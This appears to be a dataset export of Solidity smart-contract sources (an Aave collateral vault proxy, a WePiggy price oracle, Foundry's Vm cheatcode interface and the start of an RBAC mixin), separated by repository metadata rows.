require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint value) internal {
uint newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint value) internal {
uint newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Aave {
function borrow(address _reserve, uint _amount, uint _interestRateModel, uint16 _referralCode) external;
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external;
function repay(address _reserve, uint _amount, address payable _onBehalfOf) external payable;
function getUserAccountData(address _user)
external
view
returns (uint totalLiquidityETH,
uint totalCollateralETH,
uint totalBorrowsETH,
uint totalFeesETH,
uint availableBorrowsETH,
uint currentLiquidationThreshold,
uint ltv,
uint healthFactor);
}
interface AaveToken {
function underlyingAssetAddress() external returns (address);
}
interface Oracle {
function getAssetPrice(address reserve) external view returns (uint);
function latestAnswer() external view returns (uint);
}
interface LendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
function getLendingPoolCore() external view returns (address);
function getPriceOracle() external view returns (address);
}
contract AaveCollateralVault is ReentrancyGuard {
using SafeERC20 for IERC20;
address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
uint public model = 2;
address public asset = address(0);
address public _owner;
address[] public _activeReserves;
mapping(address => bool) _reserves;
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "!owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
constructor() public {
_owner = msg.sender;
}
function setModel(uint _model) external onlyOwner {
model = _model;
}
function setBorrow(address _asset) external onlyOwner {
asset = _asset;
}
function getBorrow() external view returns (address) {
return asset;
}
function getReserves() external view returns (address[] memory) {
return _activeReserves;
}
// LP deposit, anyone can deposit/topup
function activate(address reserve) external onlyOwner {
if (_reserves[reserve] == false) {
_reserves[reserve] = true;
_activeReserves.push(reserve);
Aave(getAave()).setUserUseReserveAsCollateral(reserve, true);
}
}
// No logic, logic handled underneath by Aave
function withdraw(address reserve, uint amount, address to) external onlyOwner {
IERC20(reserve).safeTransfer(to, amount);
}
function getAave() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPool();
}
function isReserve(address reserve) external view returns (bool) {
return _reserves[reserve];
}
function getAaveCore() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPoolCore();
}
// amount needs to be normalized
function borrow(address reserve, uint amount, address to) external nonReentrant onlyOwner {
require(asset == reserve || asset == address(0), "reserve not available");
// LTV logic handled by underlying
Aave(getAave()).borrow(reserve, amount, model, 7);
IERC20(reserve).safeTransfer(to, amount);
}
function repay(address reserve, uint amount) external nonReentrant onlyOwner {
// Required for certain stable coins (USDT for example)
IERC20(reserve).approve(address(getAaveCore()), 0);
IERC20(reserve).approve(address(getAaveCore()), amount);
Aave(getAave()).repay(reserve, amount, address(uint160(address(this))));
}
}
contract AaveCollateralVaultProxy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
mapping (address => address[]) public _ownedVaults;
mapping (address => address) public _vaults;
// Spending limits per user measured in dollars 1e8
mapping (address => mapping (address => uint)) public _limits;
mapping (address => mapping (address => bool)) public _borrowerContains;
mapping (address => address[]) public _borrowers;
mapping (address => address[]) public _borrowerVaults;
address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
address public constant link = address(0xF79D6aFBb6dA890132F9D7c355e3015f15F3406F);
event IncreaseLimit(address indexed vault, address indexed owner, address indexed spender, uint limit);
event DecreaseLimit(address indexed vault, address indexed owner, address indexed spender, uint limit);
event SetModel(address indexed vault, address indexed owner, uint model);
event SetBorrow(address indexed vault, address indexed owner, address indexed reserve);
event Deposit(address indexed vault, address indexed owner, address indexed reserve, uint amount);
event Withdraw(address indexed vault, address indexed owner, address indexed reserve, uint amount);
event Borrow(address indexed vault, address indexed owner, address indexed reserve, uint amount);
event Repay(address indexed vault, address indexed owner, address indexed reserve, uint amount);
event DeployVault(address indexed vault, address indexed owner, address indexed asset);
constructor() public {
}
function limit(address vault, address spender) external view returns (uint) {
return _limits[vault][spender];
}
function borrowers(address vault) external view returns (address[] memory) {
return _borrowers[vault];
}
function borrowerVaults(address spender) external view returns (address[] memory) {
return _borrowerVaults[spender];
}
function increaseLimit(address vault, address spender, uint addedValue) external {
require(isVaultOwner(address(vault), msg.sender), "!owner");
if (!_borrowerContains[vault][spender]) {
_borrowerContains[vault][spender] = true;
_borrowers[vault].push(spender);
_borrowerVaults[spender].push(vault);
}
uint amount = _limits[vault][spender].add(addedValue);
_approve(vault, spender, amount);
emit IncreaseLimit(vault, msg.sender, spender, amount);
}
function decreaseLimit(address vault, address spender, uint subtractedValue) external {
require(isVaultOwner(address(vault), msg.sender), "!owner");
uint amount = _limits[vault][spender].sub(subtractedValue, "<0");
_approve(vault, spender, amount);
emit DecreaseLimit(vault, msg.sender, spender, amount);
}
function setModel(AaveCollateralVault vault, uint model) external {
require(isVaultOwner(address(vault), msg.sender), "!owner");
vault.setModel(model);
emit SetModel(address(vault), msg.sender, model);
}
function getBorrow(AaveCollateralVault vault) external view returns (address) {
return vault.getBorrow();
}
function _approve(address vault, address spender, uint amount) internal {
require(spender != address(0), "address(0)");
_limits[vault][spender] = amount;
}
function isVaultOwner(address vault, address owner) public view returns (bool) {
return _vaults[vault] == owner;
}
function isVault(address vault) public view returns (bool) {
return _vaults[vault] != address(0);
}
// LP deposit, anyone can deposit/topup
function deposit(AaveCollateralVault vault, address aToken, uint amount) external {
require(isVault(address(vault)), "!vault");
IERC20(aToken).safeTransferFrom(msg.sender, address(vault), amount);
address underlying = AaveToken(aToken).underlyingAssetAddress();
if (vault.isReserve(underlying) == false) {
vault.activate(underlying);
}
emit Deposit(address(vault), msg.sender, aToken, amount);
}
// No logic, handled underneath by Aave
function withdraw(AaveCollateralVault vault, address aToken, uint amount) external {
require(isVaultOwner(address(vault), msg.sender), "!owner");
vault.withdraw(aToken, amount, msg.sender);
emit Withdraw(address(vault), msg.sender, aToken, amount);
}
// amount needs to be normalized
function borrow(AaveCollateralVault vault, address reserve, uint amount) external {
require(isVault(address(vault)), "!vault");
uint _borrow = amount;
if (vault.asset() == address(0)) {
_borrow = getReservePriceUSD(reserve).mul(amount);
}
_approve(address(vault), msg.sender, _limits[address(vault)][msg.sender].sub(_borrow, "borrow amount exceeds allowance"));
vault.borrow(reserve, amount, msg.sender);
emit Borrow(address(vault), msg.sender, reserve, amount);
}
function repay(AaveCollateralVault vault, address reserve, uint amount) external {
require(isVault(address(vault)), "!vault");
IERC20(reserve).safeTransferFrom(msg.sender, address(vault), amount);
vault.repay(reserve, amount);
emit Repay(address(vault), msg.sender, reserve, amount);
}
function getVaults(address owner) external view returns (address[] memory) {
return _ownedVaults[owner];
}
function deployVault(address _asset) external returns (address) {
address vault = address(new AaveCollateralVault());
AaveCollateralVault(vault).setBorrow(_asset);
// Mark address as vault
_vaults[vault] = msg.sender;
// Set vault owner
_ownedVaults[msg.sender].push(vault);
emit DeployVault(vault, msg.sender, _asset);
return vault;
}
function getVaultAccountData(address _vault)
external
view
returns (uint totalLiquidityUSD,
uint totalCollateralUSD,
uint totalBorrowsUSD,
uint totalFeesUSD,
uint availableBorrowsUSD,
uint currentLiquidationThreshold,
uint ltv,
uint healthFactor) {
(totalLiquidityUSD,
totalCollateralUSD,
totalBorrowsUSD,
totalFeesUSD,
availableBorrowsUSD,
currentLiquidationThreshold,
ltv,
healthFactor) = Aave(getAave()).getUserAccountData(_vault);
uint ETH2USD = getETHPriceUSD();
totalLiquidityUSD = totalLiquidityUSD.mul(ETH2USD);
totalCollateralUSD = totalCollateralUSD.mul(ETH2USD);
totalBorrowsUSD = totalBorrowsUSD.mul(ETH2USD);
totalFeesUSD = totalFeesUSD.mul(ETH2USD);
availableBorrowsUSD = availableBorrowsUSD.mul(ETH2USD);
}
function getAaveOracle() public view returns (address) {
return LendingPoolAddressesProvider(aave).getPriceOracle();
}
function getReservePriceETH(address reserve) public view returns (uint) {
return Oracle(getAaveOracle()).getAssetPrice(reserve);
}
function getReservePriceUSD(address reserve) public view returns (uint) {
return getReservePriceETH(reserve).mul(Oracle(link).latestAnswer()).div(1e26);
}
function getETHPriceUSD() public view returns (uint) {
return Oracle(link).latestAnswer();
}
function getAave() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPool();
}
}
| 233,079 | 12,281 |
d2063d386608760a7f2175a9c071dd42cd2abf6d21a90be71dd491b4eb66e172
| 29,294 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/a2/a204cf21a916dd6d87b392a44d3dbca9d960990c_WePiggyPriceOracleV1.sol
| 3,375 | 13,730 |
pragma solidity 0.6.12;
interface WePiggyPriceOracleInterface {
function getPrice(address token) external view returns (uint);
function setPrice(address token, uint price, bool force) external;
}
interface IEIP20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
function transfer(address dst, uint256 amount) external returns (bool success);
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
function approve(address spender, uint256 amount) external returns (bool success);
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
interface IEIP20NonStandard {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transferFrom(address src, address dst, uint256 amount) external;
function approve(address spender, uint256 amount) external returns (bool success);
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// solhint-disable-next-line compiler-version
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
contract WePiggyPriceOracleV1 is WePiggyPriceOracleInterface, OwnableUpgradeable {
using SafeMath for uint256;
///@notice The fundamental unit of storage for a reporter source
struct Datum {
uint256 timestamp;
uint256 value;
}
struct TokenConfig {
address token;
string symbol;
uint upperBoundAnchorRatio; //1.2e2
uint lowerBoundAnchorRatio; //0.8e2
}
mapping(address => Datum) private data;
mapping(address => TokenConfig) public configs;
uint internal constant minLowerBoundAnchorRatio = 0.8e2;
uint internal constant maxUpperBoundAnchorRatio = 1.2e2;
bytes32 public constant REPORTER_ROLE = keccak256("REPORTER_ROLE");
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
/// @notice The event emitted when the stored price is updated
event PriceUpdated(address token, uint price);
event ConfigUpdated(address token, string symbol, uint upperBoundAnchorRatio, uint lowerBoundAnchorRatio);
function initialize() public initializer {
super.__Ownable_init();
}
function getPrice(address token) external override(WePiggyPriceOracleInterface) view returns (uint){
Datum storage datum = data[token];
return datum.value;
}
function setPrice(address token, uint price, bool force) external override(WePiggyPriceOracleInterface) onlyOwner {
_setPrice(token, price, force);
emit PriceUpdated(token, price);
}
function setPrices(address[] calldata tokens, uint[] calldata prices) external onlyOwner {
require(tokens.length == prices.length, "bad params");
for (uint i = 0; i < tokens.length; i++) {
address token = tokens[i];
uint price = prices[i];
bool force = false;
_setPrice(token, price, force);
emit PriceUpdated(token, price);
}
}
function _setPrice(address token, uint price, bool force) internal {
Datum storage datum = data[token];
if (force) {
datum.value = price;
datum.timestamp = block.timestamp;
} else {
TokenConfig storage config = configs[token];
require(config.token == token, "bad params");
uint upper = datum.value.mul(config.upperBoundAnchorRatio).div(1e2);
uint lower = datum.value.mul(config.lowerBoundAnchorRatio).div(1e2);
require(price.sub(lower) >= 0, "the price must greater than the old*lowerBoundAnchorRatio");
require(upper.sub(price) >= 0, "the price must less than the old*upperBoundAnchorRatio");
datum.value = price;
datum.timestamp = block.timestamp;
}
}
function setTokenConfig(address token, string memory symbol, uint upperBoundAnchorRatio, uint lowerBoundAnchorRatio) public onlyOwner {
require(minLowerBoundAnchorRatio <= lowerBoundAnchorRatio, "lowerBoundAnchorRatio must greater or equal to minLowerBoundAnchorRatio");
require(maxUpperBoundAnchorRatio >= upperBoundAnchorRatio, "upperBoundAnchorRatio must Less than or equal to maxUpperBoundAnchorRatio");
TokenConfig storage config = configs[token];
config.token = token;
config.symbol = symbol;
config.upperBoundAnchorRatio = upperBoundAnchorRatio;
config.lowerBoundAnchorRatio = lowerBoundAnchorRatio;
emit ConfigUpdated(token, symbol, upperBoundAnchorRatio, lowerBoundAnchorRatio);
}
}
| 49,789 | 12,282 |
a63a302405ff33e4320fbcdba041277b8805793c1368f395956ce0356d423557
| 11,840 |
.sol
|
Solidity
| false |
563865232
|
0xPolygon/account-binary-search-tree
|
cd9b4b1d733a72ec641941d9e81d90922881f395
|
lib/forge-std/src/Vm.sol
| 2,267 | 9,622 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
pragma experimental ABIEncoderV2;
interface Vm {
struct Log {
bytes32[] topics;
bytes data;
}
// Sets block.timestamp (newTimestamp)
function warp(uint256) external;
// Sets block.height (newHeight)
function roll(uint256) external;
// Sets block.basefee (newBasefee)
function fee(uint256) external;
// Sets block.chainid
function chainId(uint256) external;
// Loads a storage slot from an address (who, slot)
function load(address, bytes32) external returns (bytes32);
// Stores a value to an address' storage slot, (who, slot, value)
function store(address, bytes32, bytes32) external;
// Signs data, (privateKey, digest) => (v, r, s)
function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);
// Gets the address for a given private key, (privateKey) => (address)
function addr(uint256) external returns (address);
// Gets the nonce of an account
function getNonce(address) external returns (uint64);
// Sets the nonce of an account; must be higher than the current nonce of the account
function setNonce(address, uint64) external;
// Performs a foreign function call via the terminal, (stringInputs) => (result)
function ffi(string[] calldata) external returns (bytes memory);
// Sets environment variables, (name, value)
function setEnv(string calldata, string calldata) external;
// Reads environment variables, (name) => (value)
function envBool(string calldata) external returns (bool);
function envUint(string calldata) external returns (uint256);
function envInt(string calldata) external returns (int256);
function envAddress(string calldata) external returns (address);
function envBytes32(string calldata) external returns (bytes32);
function envString(string calldata) external returns (string memory);
function envBytes(string calldata) external returns (bytes memory);
// Reads environment variables as arrays, (name, delim) => (value[])
function envBool(string calldata, string calldata) external returns (bool[] memory);
function envUint(string calldata, string calldata) external returns (uint256[] memory);
function envInt(string calldata, string calldata) external returns (int256[] memory);
function envAddress(string calldata, string calldata) external returns (address[] memory);
function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
function envString(string calldata, string calldata) external returns (string[] memory);
function envBytes(string calldata, string calldata) external returns (bytes[] memory);
// Sets the *next* call's msg.sender to be the input address
function prank(address) external;
// Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
function startPrank(address) external;
function prank(address, address) external;
function startPrank(address, address) external;
// Resets subsequent calls' msg.sender to be `address(this)`
function stopPrank() external;
// Sets an address' balance, (who, newBalance)
function deal(address, uint256) external;
// Sets an address' code, (who, newCode)
function etch(address, bytes calldata) external;
// Expects an error on next call
function expectRevert(bytes calldata) external;
function expectRevert(bytes4) external;
function expectRevert() external;
// Records all storage reads and writes
function record() external;
// Gets all accessed reads and write slot from a recording session, for a given address
function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
function expectEmit(bool, bool, bool, bool) external;
function expectEmit(bool, bool, bool, bool, address) external;
// Mocks a call to an address, returning specified data.
// Calldata can either be strict or a partial match, e.g. if you only
// pass a Solidity selector to the expected calldata, then the entire Solidity
// function will be mocked.
function mockCall(address, bytes calldata, bytes calldata) external;
// Mocks a call to an address with a specific msg.value, returning specified data.
// Calldata match takes precedence over msg.value in case of ambiguity.
function mockCall(address, uint256, bytes calldata, bytes calldata) external;
// Clears all mocked calls
function clearMockedCalls() external;
// Expects a call to an address with the specified calldata.
// Calldata can either be a strict or a partial match
function expectCall(address, bytes calldata) external;
// Expects a call to an address with the specified msg.value and calldata
function expectCall(address, uint256, bytes calldata) external;
// Gets the code from an artifact file. Takes in the relative path to the json file
function getCode(string calldata) external returns (bytes memory);
// Labels an address in call traces
function label(address, string calldata) external;
// If the condition is false, discard this run's fuzz inputs and generate new ones
function assume(bool) external;
// Sets block.coinbase (who)
function coinbase(address) external;
function broadcast() external;
function broadcast(address) external;
function startBroadcast() external;
function startBroadcast(address) external;
// Stops collecting onchain transactions
function stopBroadcast() external;
// Reads the entire content of file to string, (path) => (data)
function readFile(string calldata) external returns (string memory);
// Reads next line of file to string, (path) => (line)
function readLine(string calldata) external returns (string memory);
// (path, data) => ()
function writeFile(string calldata, string calldata) external;
// Writes line to file, creating a file if it does not exist.
// (path, data) => ()
function writeLine(string calldata, string calldata) external;
// (path) => ()
function closeFile(string calldata) external;
// - Path points to a directory.
// - The file doesn't exist.
// - The user lacks permissions to remove the file.
// (path) => ()
function removeFile(string calldata) external;
// Convert values to a string, (value) => (stringified value)
function toString(address) external returns (string memory);
function toString(bytes calldata) external returns (string memory);
function toString(bytes32) external returns (string memory);
function toString(bool) external returns (string memory);
function toString(uint256) external returns (string memory);
function toString(int256) external returns (string memory);
// Record all the transaction logs
function recordLogs() external;
// Gets all the recorded logs, () => (logs)
function getRecordedLogs() external returns (Log[] memory);
// Snapshot the current state of the evm.
// Returns the id of the snapshot that was created.
// To revert a snapshot use `revertTo`
function snapshot() external returns (uint256);
// Revert the state of the evm to a previous snapshot
// Takes the snapshot id to revert to.
// This deletes the snapshot and all snapshots taken after the given snapshot id.
function revertTo(uint256) external returns (bool);
// Creates a new fork with the given endpoint and block and returns the identifier of the fork
function createFork(string calldata, uint256) external returns (uint256);
function createFork(string calldata) external returns (uint256);
function createSelectFork(string calldata, uint256) external returns (uint256);
function createSelectFork(string calldata) external returns (uint256);
// Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
function selectFork(uint256) external;
/// Returns the currently active fork
/// Reverts if no fork is currently active
function activeFork() external returns (uint256);
// Updates the currently active fork to given block number
// This is similar to `roll` but for the currently active fork
function rollFork(uint256) external;
// Updates the given fork to given block number
function rollFork(uint256 forkId, uint256 blockNumber) external;
/// Returns the RPC url for the given alias
// Marks that the account(s) should use persistent storage across fork swaps in a multifork setup
// Meaning, changes made to the state of this account will be kept when switching forks
function makePersistent(address) external;
function makePersistent(address, address) external;
function makePersistent(address, address, address) external;
function makePersistent(address[] calldata) external;
// Revokes persistent status from the address, previously added via `makePersistent`
function revokePersistent(address) external;
function revokePersistent(address[] calldata) external;
// Returns true if the account is marked as persistent
function isPersistent(address) external returns (bool);
function rpcUrl(string calldata) external returns (string memory);
/// Returns all rpc urls and their aliases `[alias, url][]`
function rpcUrls() external returns (string[2][] memory);
function deriveKey(string calldata, uint32) external returns (uint256);
function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
}
| 234,194 | 12,283 |
6d241fd57521c010514a9ebe13912cb51611c5a25a7e3aef2041b21db2eee696
| 21,736 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb6b4f1f49f6f52d071487031f2c55a267d760630.sol
| 4,494 | 16,797 |
pragma solidity ^0.4.25;
/// @title Role based access control mixin for Resale Platform
/// @author Mai Abha <maiabha82@gmail.com>
/// @dev Ignore DRY approach to achieve readability
contract RBACMixin {
/// @notice Constant string message to throw on lack of access
string constant FORBIDDEN = "Doesn't have enough rights to access";
/// @notice Public map of owners
mapping (address => bool) public owners;
/// @notice Public map of minters
mapping (address => bool) public minters;
/// @notice The event indicates the addition of a new owner
/// @param who is address of added owner
event AddOwner(address indexed who);
/// @notice The event indicates the deletion of an owner
/// @param who is address of deleted owner
event DeleteOwner(address indexed who);
/// @notice The event indicates the addition of a new minter
/// @param who is address of added minter
event AddMinter(address indexed who);
/// @notice The event indicates the deletion of a minter
/// @param who is address of deleted minter
event DeleteMinter(address indexed who);
constructor () public {
_setOwner(msg.sender, true);
}
/// @notice The functional modifier rejects the interaction of senders who are not owners
modifier onlyOwner() {
require(isOwner(msg.sender), FORBIDDEN);
_;
}
/// @notice Functional modifier for rejecting the interaction of senders that are not minters
